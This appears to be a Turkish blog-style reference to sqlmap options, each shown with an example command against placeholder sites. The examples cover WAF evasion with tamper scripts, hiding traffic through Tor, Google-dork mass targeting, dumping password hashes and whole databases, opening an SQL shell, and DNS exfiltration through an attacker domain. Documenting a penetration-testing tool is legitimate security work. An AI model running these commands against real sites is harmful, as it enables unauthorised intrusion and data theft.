Sqlmap Komutları, Kullanımı ve Örnekleri

sqlmap
Standart

Options sekmesi:

-h, –help: Basit yardım ve kullanım özelliklerini yazdıran komutumuz.

-hh: Advanced yardım ve kullanım özelliklerini yazdıran komutumuz.

–version: Mevcut sqlmap sürümünü gösteren ve çıkış yapan komutumuz.

-v: Default olarak 1 tanımlı gelen ve sqlmap çalıştığı süre zarfında bize gösterdiği çıktıların gösterimini belirlediğimiz verbose komutumuz. 0 ile 6 arasında değişmekte. 0 en az çıktıyı döndürürken, 6 en çok çıktı ile sonuçları döndürmekte.

Target sekmesi: Hedef(ler)in seçimini yapmamız için kullanmamız gereken parametrelerin bulunduğu kategorimiz. En azından birinin seçilmesi gerekmektedir.

-d: Veritabanına direct erişim yapabileceğimiz link eğer elimizdeyse, kullanabileceğimiz komutumuz. Örnek kullanım:

sqlmap -d  mysql://root:password@192.168.x.x:3306/Information_Schema

ile Mysql kullanan ve verilen ip adresinin 3306 portu üzerinden, belirttiğimiz kullanıcı adı ve şifre ile information_schema bilgisinin çekilmesi işlemini yapabiliyoruz.

-u, –url: Veribanına direkt erişimimiz yoksa ve injection yolu ile deneme yapmak istiyorsak, kullanabileceğimiz komutumuz.Örnek kullanım:

sqlmap -u “http://www.websitesi.com/test.php?id=1”

-l: Burp veya WebScarab ile çekilmiş log dosyalarını kullanarak, testler gerçekleştirmemizi sağlayan komutumuz. Örnek kullanım:

sqlmap -l /home/user/Desktop/log.txt

-x: Sitemap(.xml) dosyasını kullarak testler gerçekleştirmemizi sağlayan komutumuz. Örnek kullanım:

sqlmap -x “http://www.siteadresi.com/sitemap.xml”

-m: Belirlenen txt dosyası içerisindeki linkleri satır satır deneme usulü ile testlerimizi gerçekleştirmemizi sağlayan parametremiz. Örnek kullanım:

sqlmap -m /home/user/Desktop/pentest.txt

-r: Belirlenen txt dosyası içerisinde verilmiş olan requestleri(post/get) kullanarak, testlerimizi gerçekleştirmemizi sağlayan parametrelerimiz. Örnek kullanım:

sqlmap -r /home/userDesktop/request.txt

-g: Google dork ile belirli bir pattern’e sahip siteler üzerinde testler gerçekleştirmemizi sağlayan komutumuz. Örnek kullanım:

sqlmap -g “.php?id=”

-c: Sqlmap ayarlarının custom bir config.ini dosyasından yüklenmesini istiyorsak kullanacağımız komutumuz. Örnek kullanım:

sqlmap -c customconfig.ini -g ….

Request Sekmesi: Hedef URL’e bağlantı ile ilgili yapacağımız ayarlamaları belirttiğimiz parametrelerin bulunduğu kategorimiz.

–data: POST metodu ile gönderim yapılacağı zaman, gönderilecek verinin tanımlandığı kısım. Örnek kullanım:

sqlmap -u “www.siteadi.com/login.php” –data=”username=example&password=example&action=submit”

–param-del: Gönderilecek değerlerin hangi değerlerden itibaren ayrılmasının belirleneceği komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/login.php” –data=”username=example&password=example&action=submit” –param-del=”&”

–cookie: Eğer site içerisinde testler için bir cookie kullanmamız gerekiyorsa, kullanacağımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/uye.php?id=12345″ –cookie=”session=a235723v5sdg35”

–cookie-del: Cookie içeriside gönderilecek değerlerin hangi değerlerden itibaren ayrılması gerektiğiin belirleneceği komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/uye.php?id=12345″ –cookie=”session=a235723v5sdg35″ –cookie-del=”&”

–load-cookies: Netscape/wget formatında tanımlı dosya içerisinden cookielerin yüklenmesi amacı ile kullanılan komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/uye.php?id=12345” –load-cookies /home/user/Desktop/cookieLoader.txt

–drop-set-cookie: Cevap olarak gelen başlık bilgileri içerisindeki Set-Cookie değerini görmezden gelmek amacıyla kullanılan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/uye.php?id=12345″ –cookie=”session=2b3k32b4c238c” –drop-set-cookie

–user-agent: Testlerimizde kullanacağımız User-Agent değerini kendimiz belirlemek için kullanabileceğimiz komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –user-agent=”Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0”

–random-agent: Testlerimizde kullanacağımı User-Agent değerinin, sqlmap ile hazır gelen user-agent değerlerinin bulunduğu dosya içeriisnden random olarak atanması için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –random-agent

–host: Gönderilen başlık bilgisi içerisindeki Host kısmını, request yapılacak site kısmını, istediğimiz gibi değiştirmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –host=www.siteadi.com

–referer: Gönderilen başlık bilgisi içerisindeki Referer kısmını, hangi adres üzerinden yönlendirilme yaptığımızı (history -1 gibi), istediğimiz gibi değiştirmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –referer=www.gosterilecekAdresimiz.com

–headers: Gönderilen başlık bilgisi içerisindeki diğer başlık bilgilerini (Accept-Encoding gibi), istediğimiz gibi değiştirmek amacıyla kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –headers=”User-Agent: Mozilla/5.0 (X11;Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0”

–auth-type: Site üzerinde yapılacak authentication işleminin tipini belirtmek için kullanabileceğimiz parametremiz. Basic, Digest, NTLM ya da PKI gibi değerler alabilir. Örnek kullanım:

sqlmap -u “www.siteadi.com/login.php” –auth-type=”Basic”

–auth-cred: Site üzerinde yapılacak authentication işleminde gönderilecek veirleri tanımlamak için kullandığımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/login.php” –auth-type=”Basic” –auth-cred=”username:password”

–auth-private: Login işlemini pem sertifikası ile yapmak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/login.php” –auth-type=”Basic” –auth-cred=”user:pass” –auth-private=”asd.pem”

–proxy: Proxy kullanarak işlem yapmak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –proxy=”http://127.0.0.1:8080”

–proxy-cred: Proxy kullanmak istiyorsak ve bağlanacağımız proxy’e ait user/pass değerleri varsa, bunları tanımlamak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –proxy=”http://proxysite.com:portNumber” –proxy-cred=”proxyUser:proxyPass”

 –proxy-file: Proxy bilgilerini bir dosya içerisinden yüklemek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –proxy-file=dosyaAdi

–ignore-proxy: Sisteme tanımlı default proxy ayarlarını kullanmak istemiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –ignore-proxy

–tor: Tor network’ünü kullanarak gizliliğimizi sağlamak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –tor

–tor-port: Tor network’üne hangi port üzerinden bağlanmak istediğimizi belirtmek için kullandığımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –tor –tor-port=9150

–tor-type: Tor ağına;HTTP, SOCKS4 ya da SOCKS5 ile hangisinden bağlanmak istiyorsak tanımlamak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –tor –tor-type=SOCKS5

–check-tor: Tor ağına, bağlantının sağlanıp sağlanmadığını test etmek için kullanabileceğimiz parametremiz. Eğer ağa bağlantı yoksa, geçerli sqlmap testi otomatik olarak iptal edilir. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –tor –tor-type=SOCKS5 –check-tor

–delay: Her bir HTTP request için aralarda beklenilecek süreyi saniye cinsinden ifade etmek amacıyla kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –delay=5

–timeout: Bir bağlantının timeout olarak nitelendirilip isteğin iptal edilmesi için gerekli süreyi saniye cinsinden ayarlamak için kullanabileceğimiz parametremiz. Default değer olarak 30sn alır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –timeout=10

–retries: Bağlantımız timeout olup iptal edildiğinde, aynı requestin kaç kere daha deneneceğini ayarlamak için kullanabileceğimiz parametremiz. Default olarak 3 değerini alır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –timeout=5 –retries=20

–randomize: Verilen parametrelerin random değerlerle değiştirilmesini istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –randomize=id

–safe-url: Test süresince belli bir frekansta ziyaret edilecek url adresimizi belirlemek istiyorsak kullanabileceğimiz parametremiz. Bazı sistemlerde belli bir sayıda hatalı giriş ile session sonlandırılmasını önlemek amacı ile kullanılır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –safe-url=”www.siteadi.com”

–safe-freq: Test süresince ziyaret edilmesini istediğimiz url’in zaman ayarını(frekansını) yapmak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –safe-url=”www.siteadi.com” –safe-freq=3

–skip-urlencode: Test etmek istediğimiz parametrelerin url-encoding işleminden geçirilme işlemini atlamak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –skip-urlencode

–force-ssl: SSL/HTTPS bağlantısını kullanmasını zorlamak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “https://www.siteadi.com/testet.php?id=1” –force-ssl

-hpp: “HTTP Parameter Pollution” metodu ile test işlemimizi gerçekleştirmek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?a=1&b=2&c=3” –hpp

–eval: Belirtilen python kodunu istek yapılmadan önce çalıştırıp, ardından bu sonuca göre istek yapmak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=123&id2=456″ –eval=”import hashlib; id=hashlib.md5(id).hexdigest()”

Optimization Sekmesi: Sqlmap’i performans alanında optimize etmek istiyorsak kullanabileceğimiz parametrelerin bulunduğu kategorimiz.

-o: Tüm optimizasyon anahtarlarını kullanmak istiyorsak kullanabileceğimiz parametremiz. –keep-alive, –null-connection ve –threads=3 olarak default tanımlanır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -o

–predict-output:  txt/common_outputs.txt dosyası içerisindeki en çok karşımıza çıkan çıktıları tahmin ederek, test işlemimizin daha hızlı bitmesi konusunda yardımcı olur. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –predict-output

–keep-alive: Kalıcı(persistent) HTTP(s) bağlantıları kurmak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –keep-alive

–null-connection: HTTP cevabının uzunluğunu, HTTP body’i çekmeden belirlemek için kullanılan parametremiz. Aktif edildiğinde sqlmap iki farklı NULL bağlantı tekniği ile test ve exploit işlemleri gerçekleştirir. Bunlar Range ve Head’dir. Bunlardan herhangi biri test edilen server tarafından da destekleniyorsa, işlemimizi hızlandırmamıza yardımcı olur. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –null-connection

–threads: Multi-threading ile sqlmap’in maximum kaç tane HTTP(s) isteği yapabileceğini belirlemek için kullanabileceğimiz parametremiz. Özellikle bruteforce searching işlemlerinde, aramamızı oldukça hızlandıran bu yöntem, performans sebepleri gerekçesiyle max. 10 thread kullanılması tavsiye edilmekte. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –threads=10

Injection Sekmesi: Hangi parametrelerin test edileceği, kişisel payload tanımlamaları ve tamper scriptleri tanımlamaları gibi ayarlamaları yapabileceğimiz parametrelerin bulunduğu kategorimiz.

-p: Verilen parametreler içerisinde sadece belirli parametrelerin test edilmesini istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?username=asd&password=asd&denemeA=1&denemeB=2&denemeC=3” -p denemeA

–skip: Verilen parametreler içerisinde sadece bazı parametrelerin test edilmesini istemiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?username=asd&password=asd&denemeA=1&denemeB=2&denemeC=3” –skip denemeA,denemeB,denemeC

–dbms: Sqlmap’e yardımcı olmak adına, eğer backend’de çalışan database management system’i biliyorsak, dbms ile tanımlayabilmekteyiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –dbms=”MySql”

–os: Sqlmap’e yardımcı olmak adına, eğer işletim sistemini biliyorsak, os ile bunu da tanımlayabilmekteyiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –dbms=”MySql” –os=”Linux”

–invalid-bignum: Sqlmap’in orjinal parametre değerlerini geçersiz kılmaya çalışırken kullandığı yollara çok büyük sayıları da (Örn:999999) eklemek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –invalid-bignum

–invalid-logical: Sqlmap’in orjinal parametre değerlerini geçersiz kılmaya çalışırken kullandığı yollara Boolen denemeleri de (Örn: id=1 AND 2=5) eklemek için kullanabileceğimiz parametrelerimiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –invalid-logical

–invalid-string: Sqlmap’in orjinal parametre değerlerini geçersiz kılmaya çalışırken kullandığı yollara rastgele string değerler ile (Örn: ad=xUqmnfi) eklemek için kullanabileceğimiz parametrelerimiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?ad=intelrad” –invalid-string

–no-cast: Payload casting mekanizmasını kapatır ve payloadları kısaltır. Ancak default olarak gelen ayrıcalıkları tam olarak kullanamayabiliriz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –no-cast

–no-escape: Test edeceğimiz server üzerinde “mysql_real_escape_string” ya da “magic_quotes” gibi ifadeler kullanılıyorsa,  tek tınak gibi ifadelerimizi “SELECT char(102)+char(111)” gibi ifadelerle test edip, zamandan kazanmak için kullanabileceğimiz parametremizdir. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –no-escape

–prefix: Test edilecek parametreleri, payloadların önüne istediğimiz değeri ekleyerek daha da özelleştirebileceğimiz parametremizdir. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?ad=deneme” –prefix “‘)”

–suffix: Test edilecek parametreleri, payloadların sonuna istediğimiz değeri ekleyerek daha da özelleştirebileceğimiz parametrelerimizdir. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?ad=dememe” –suffix “‘)”

–tamper:  Eğer kullanıcı ile back-end database arasında zayıf bir giriş kontrolü varsa injection yapılacak stringleri WAF’tan geçirebilmek amacı ile kullanılan parametremiz. Önüne alacağı parametre sqlmap klasörü içerisindeki tamper klasörü içerisinden kullanılır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –tamper=”between”

Detection Sekmesi: Risk ve seviye belirleme gibi, belirleme adımlarını belirlemek için kullanabileceğimiz parametrelerimizin bulunduğu kategorimiz.

–level: 1 ile 5 arasında değerler alabilen parametremiz. 1. seviyede daha kısıtlı testler denetlenirken, 5.seviyede daha fazla payload, daha detaylı prefix ve suffixler ile zenginleştirilmiş payloadlar kullanılmaktadır. Ayrıca HTTP Cookie başlığı 2.seviyeden sonra ve HTTP User-Agent/Referer başlıkları da seviye 3’ten sonra denetlenmektedir. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –level=5

–risk: 1 ile 3 arasında değerler alabilen parametremiz. Eğer belirtilmezse default olarak 1 değerini alır. Risk 1 daha sınırlı sql cümleleri ile denetleme yapar. Risk 2’de risk 1’in üzerine heavy-query time based saldırılar da denetlemeye tabii tutulur. Risk 3’te ise ekstradan Or-based testler de eklenir.

sqlmap -u “www.siteadi.com/testet.php?id=1” –risk=3

–string: Sorguyu çalıştırdıktan sonra, belirlediğimiz string ile karşılaştırma yapıp, karşılaştırma varsa True olarak dönen değeri eşleştirmek için kullandığımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –string=”Kullanici”

–not-string: Sorguyu çalıştırdıktan sonra, belirlediğimiz string ile karşılaştırma yapıp, karşılaştırmamız yoksa True olarak dönen değeri eşleştirmek için kullandığımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –not-string=”Kullanici”

–regexp: Sorguyu çalıştırdıktan sonra, belirlediğimiz regex ifade ile karşılaştırma yapıp, karşılaştırmamız varsa True olarak dönen değeri eşleştirmek için kullandığımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –regexp=”[0-9]{11}”

–code: HTTP sorgusu sonrası, server tarafından dönen cevaba göre (200 True ve 401 False) eşleştirmek için kullandığımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –code=200

–text-only: CSS,JS gibi tagleri göz ardı ederek, sadece metin içeriğine göre sayfaları karşılaştırmak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –text-only

–titles: Sadece website başlığı baz alınarak sayfaları karşılaştırmak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –titles

Techniques Sekmesi: Kullanılacak SQL Injection tekniklerini belirlemek için kullanacağımız parametrelerimizin bulunduğu kategorimiz.

–technique: Kullanılacak SQL Injection tekniklerini belirlediğimiz parametremiz. Default olarak BEUSTQ ( Bool-Based Blind, Error-Based, Union-Query Based, Stacked Query, Time-Based Blind, Inline Queries). Ancak bunlardan sadece bazılarının test için kullanılmasını istiyorsak o zaman örnek kullanımımız aşağıdaki gibi olmakta:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –technique=”BEST”

–time-sec: DBMS cevabının gecikmesi için belirlenen süreyi tanımlayabileceğimiz parametremiz. Default olarak 5 tanımlıdır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –time-sec=10

–union-cols:  Default olarak sqlmap, UNION query’ler için 1’den 10’a kadarlık kolonlarda deneme yapar.  Level değerini değiştirerek 50 kolona kadar çıkarabilsek de biz sadece bunu değiştirmek istiyorsak bu parametreyi kullanabiliriz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –union-cols=1-50

–union-char: Default olarak sqlmap, UNION query’ler için NULL kullanır ve denemelerini bu koşul ile yapar. Level değerini değiştirerek NULL dışında random sayılarla da testler gerçekleştirse de sadece bu değeri manuel olarak değiştirmek istiyorsak bu parametreyi kullanabiliriz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –union-char 2013

–union-from: Sql injection için UNION query’de FROM kısmında kullanılacak tabloyu belirtmemiz (daha çok zorlamak olarak da düşünülebilir) için kullanabileceğimiz parametremizdir. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –union-from=tabloIsmi

–dns-domain: Eğer test eden(biz), bir domain server’a sahipsek, blind-injection saldırıları hızlandırmak için kullanabileceğimiz parametremiz. Açıklaması çok uzun ve detaylı olduğu için buradan açıklanmayacak. 53 numaralı portu kullandığı için, sudo yetkisi ile çalıştırmamız gerekmektedir. Parametrenin kullanım örneği aşağıdaki gibidir:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dns-domain saldirganadam.com

–second-order: Eğer inject ettiğimiz payload’ın sonucu bir başka sayfada gösteriliyorsa kullanabileceğimiz parametremizdir. Örnek kullanımı:

sqlmap -u “www.siteadi.com/testet.php?id=1” –second-order

Fingerprint Sekmesi: Veritabanı yönetim sistemi belirleme sistemleri için kullanılan parametrelerin bulunduğu kategorimiz.

-f ya da –fingerprint: Default olarak sqlmap, veritabanı sisteminin fingerprint’ini bize döndürebilmekte. Eğer daha detaylı bir arama yapmak istiyorsak kullanabileceğimiz parametremiz. Bu parametre ile birlikte sqlmap gerçek DBMS version bilgisini, eğer mümkünse işletim sistemi, mimarisi gibi bilgileri de bize döndürmeye çalışacaktır. Eğer daha doğru sonuçlara ulaşmak istiyorsak, bunun yanında -b ya da –banner parametrelerini de kullanabiliriz.Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -f

Enumeration Sekmesi: Veritabanı yönetim sistemi hakkında bilgilendirme için kullanacağımız parametrelerin bulunduğu kategorimiz. Tablo içerisindeki verileri çekme, bilgi alma amacıyla kullanılır.

 –all: Allah Ne Verdiyse modu. Çekebileceği her türlü veriyi çeker. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –all

-b ya da –banner: Veritabanının içerisinde bulunduğu işletim sistemi, veritabanı sürümü gibi bilgileri çekmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -b

–current-user: Veritabanı yönetim sisteminin, backend DBMS’ten web uygulamasına sorgu gerçekleştiren kullanıcısını bulmak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –current-user

–current-db:  Web uygulamamamızın bağlı olduğu veritabanı ismini çekmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –current-db

–hostname: Ana bilgisayarımızın(host) ismini döndürür. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –hostname

–is-dba: Çektiğimiz kullanıcının veritabanı admini(Database Admin) olup olmadığını sorgulamak için kullanabileceğimiz parametremiz. Eğer admin ise true, değilse false değer döner. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –is-dba

–users: Veritabanı yönetim sistemi kullanıcılarını listelemek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –users

–passwords: Eğer geçerli userın, sistem tablolarını okuma izni var ise, şifreleri hash olarak çekmemize yardımcı olur. Sqlmap bu işlem için önce kullanıcıları çeker. Ardından pass hashlerini çekmeye çalışır. Örnek kullanım

sqlmap -u “www.siteadi.com/testet.php?id=1” –passwords

–privileges: Eğer geçerli userın, sistem tablolarını okuma izni var ise, veritabanı üzerindeki kullanıcıların yetki düzeylerini bize veren parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –privileges

–roles: Eğer geçerli userın, sistem tablolarını okuma izni var ise, veritabanı üzerindeki kullanıcıların rollerini çekmek için kullanabileceğimiz parametremiz. Sadece veritabanı, ORACLE ise çalışacaktır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –roles

–dbs: Eğer geçerli userın, sistem tablolarını okuma izni var ise, veritabanı isimlerini çekebilmemize yarayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs

–tables: Eğer geçerli userın, sistem tablolarını okuma izni var ise, seçtiğimiz veritabanı içerisindeki tüm tabloları çekebilmemize yarayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –tables
sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniadi –tables

–columns:  Eğer geçerli userın, sistem tablolarını okuma izni var ise, seçtiğimiz veritabanı içerisindeki seçtiğimiz tablodaki tüm kolonları çekmemize yarayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –columns
sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –columns

–schema: Eğer geçerli userın, sistem tablolarını okuma izni var ise, seçtiğimiz sistemin tablolarını ve değişken tiplerini tablolar halinde çıktı göstermek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –schema

–count: Eğer veritabanları, tablolar ya da kolonlar içerisindeki kayıt sayısını öğrenmek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –count -D veritabaniAdi
sqlmap -u “www.siteadi.com/testet.php?id=1” –count -D veritabaniAdi -T tabloAdi

–dump: Veritabanımız ya da tablomuzun içeriğini dump etmek istiyorsak, kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –dump

–dump-all: Veritabanları ya da tabloların hepsini dump etmek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dump-all

–search: Veritabanları, tablolar ya da kolonları aramak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –search -T bunuAra

–comments: Veritabanı için tanımlı comment’leri çekmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –comments

-D: Veritabanlarını doğru bir şekilde çekebildiğimiz takdirde, hangi veritabanını kullanarak işleme devam etmek istediğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi

-T: Tabloları doğru bir şekilde çekebildiğimiz takdirde, hangi tabloyu kullanarak işleme devam etmek istediğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi

-C: Kolonları doğru bir şekilde çekebildiğimiz takdirde, hangi kolonu/kolonları kullanarak işleme devam etmek istediğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi -C kolonAdi1,kolonAdi2,kolonAdi3 –dump

-X: Kolonları doğru bir şekilde çekebildiğimiz takdirde, hangi kolonu/kolonları çekmek istemediğimizi tanımlayabileceğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi -X istenmeyenKolon –dump

-U: Userları doğru bir şekilde çekebildiğimiz takdirde, hangi userı kullanarak işleme devam etmek istediğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanımı:

sqlmap -u “www.siteadi.com/testet.php?id=1” -U username

–exclude-sysdbs: System database’lerini injection testlerimiz içerisinde kullanmak istemiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –exclude-sysdb –dbs

 –where: Tablolarımızı dump ederken WHERE sorgusu kullanarak dump etmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.site.com/testet.php?id=1″ -D db -T tbl –where=”category_id=1”

–start: Dump işlemini hangi kayıttan itibaren yapacağımızı belirttiğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –start=2

–stop: Dump işlemini hangi kayıtta sonlandıracağımızı belirttiğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –stop=10

–first: Dump işlemini hangi karakterden itibaren yapacağımızı belirttiğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –first=1

–last: Dump işlemini hangi karakterde sonlandıracağımızı belirttiğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –last=5

–sql-query: Eğer injection testimiz başarılı ise hangi sql sorgusunu çalıştırmak istediğimizi belirttiğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ -D db –sql-query=”SELECT * FROM tabloAdi”

–sql-shell: Eğer injection testimiz başarılı ise sql shell’e girmemize yarayan komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db –sql-shell

–sql-file: Eğer injection testimiz başarılı ise, belirttiğimiz dosya içerisindeki sql sorgularını çalıştırmamızı sağlayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db –sql-file=/dosya/yolu

Bruteforce Sekmesi: Bruteforce ile denetlemeler için kullanabileceğimiz parametrelerin bulunduğu kategorimiz.

–common-tables: Tablo isimleri herhangi bir sebeple çekilemediğinde ya da bu yolun daha hızlı olabileceğini düşündüğümüz durumlarda kullanabileceğimiz parametremiz. Sqlmap dosyası içerisinde tanımlı en çok kullanılan tabloların isimlerinin bulunduğu txt dosyasını okuyarak denemeler yapar. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –common-tables

–common-columns: Kolon isimleri herhangi bir sebeple çekilemediğinde ya da bu yolun daha hızlı olabileceğini düşündüğümüz durumlarda kullanabileceğimiz parametremiz. Sqlmap dosyası içerisinde tanımlı en çok kullanılan kolon isimlerinin bulunduğu txt dosyasını okuyarak denemeler yapar. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –common-columns

User-Defined Function Injection Sekmesi: Kişisel kullanıcı tanımlı fonksiyonların tanımlandığı ve kullanıldığı parametrelerin bulunduğu kategorimiz.

–udf-inject ve –shared-lib: Kullanıcının tanımladığı yol ve gösterdiği adımlar ile, injection testlerimizi yapmamızı sağlayan parametrelerimizdir. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –udf-inject -v 0
sqlmap -u “www.siteadi.com/testet.php?id=1” –shared-lib=/shared/lib/yolu

